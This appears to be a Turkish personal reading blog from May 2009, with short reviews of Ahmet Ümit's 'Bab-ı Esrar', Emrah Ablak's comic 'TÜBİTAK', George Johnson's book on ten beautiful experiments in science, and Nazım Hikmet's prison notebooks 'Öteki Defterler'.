19 Mayıs 2009

Devam..

Bab-ı Esrar – Ahmet Ümit

Konya’da ki bir otel yangını olayını inceleyen sigorta uzmanı Karen “Kimya” Greenwood’un Mevlana ve Şems-i Tebrizi ile, aşk ve bilinmezlik ile içiçe geçen günlerini anlatan bir gerilim romanı. “Masal Masal İçinde”, “Patasana” ve “Başkomser Nevzat, Çiçekçinin Ölümü” gibi daha önce okuduğum Ahmet Ümit kitaplarına benzer şekilde nefes almadan okudum.

TÜBİTAK

10 Mayıs 2009

TÜBİTAK – Emrah Ablak

“Kardeşim!.. Bu radyasyonu kullanmayacaksan kapağını kapat. Dolaba koy… Soora ışıma yapıyo yine ben temizlemek sorunda kalıyorum..”

Tübitak’ta çalışan bir temizlik neferi olan Bayram Efendi’nin , profesör Azmi Cankuş ve ekibinin her deneyine bir şekilde karışmayı başardığı maceraları kimbilir kaçıncı kez gülmekten kırılarak okudum :)

Emrah Ablak bu aralar çizdiği Sarı Ceketliler’i de bir albüm yapsa diye dört gözle bekliyorum.

Bilim Tarihindeki En Güzel 10 Deney

10 Mayıs 2009

Bilim Tarihindeki En Güzel 10 Deney – George Johnson

Bir kısmının ayrıntılarını Lise/Üniversite eğitiminden hatırladığımız, Fizik, Kimya ve Biyoloji dallarında yapılmış en güzel 10 deney çalışmasınıın ayrıntılarını içeriyor kitap.

Eğitim hayatımda formüle boğulmuş olarak anlatılan, Galileo’nun eğik düzlem deneyi, William Harvey’nin kalbin çalışma prensipleri ortaya koyduğu deney, Newton’un merceklerle yaptığı renklerle ilgili deney gibi deneylerin ayrıntılarını okumak gerçekten çok zevkliydi.

Kitapta deneyleri açıklanan bilim insanlarının listesi ise şöyle:

- Galileo

- William Harvey

- Isaac Newton

- Antonie-Laurent Lavoisier

- Luigi Galvani

- Michael Faraday

- James Joule

- Michelson

- Ivan Pavlov

- Robert Millikan

Öteki Defterler

10 Mayıs 2009

Ocak sonundan beri okuduğum kitapları not almadığımın farkındayım. son 3 aydır okuduklarımı hatırladığım sıra ile yazmaya çalışacağım.

Öteki Defterler – Nazım Hikmet

“… bir defter al. Hergün duyduklarını yaz. Eminim ki mektupların kadar güzel olacaktır..”

Beni derinden etkileyen, bu sevgi dolu sözcükler, Piraye’nin Nazım Hikmet’e tutuklu iken yazmış olduğu bir mektupta yer alıyor ve bu kitapta yer alan her defterin girişine yazılmış. Sanırım Nazım Hikmet bu cümleden çok etkilenmiş, ve yazmaya başlamış.

Nazım Hikmet’in 1938 yılında İstanbul Tevkifhanesi’ndeyken kullandığı defterler, tamamlanamamış roman ve hikayeler “Orası”, “Zeytin ve Üzüm Adası”, “Bayram” dan parçalar içeriyor. Kitap, Piraye’nin Nazım Hikmet’e yazdığı bir mektupla başlıyor, kitaptaki son kısım ise Nazım Hikmet’in Piraye’ye hitaben yazdığı bir metin ile son buluyor.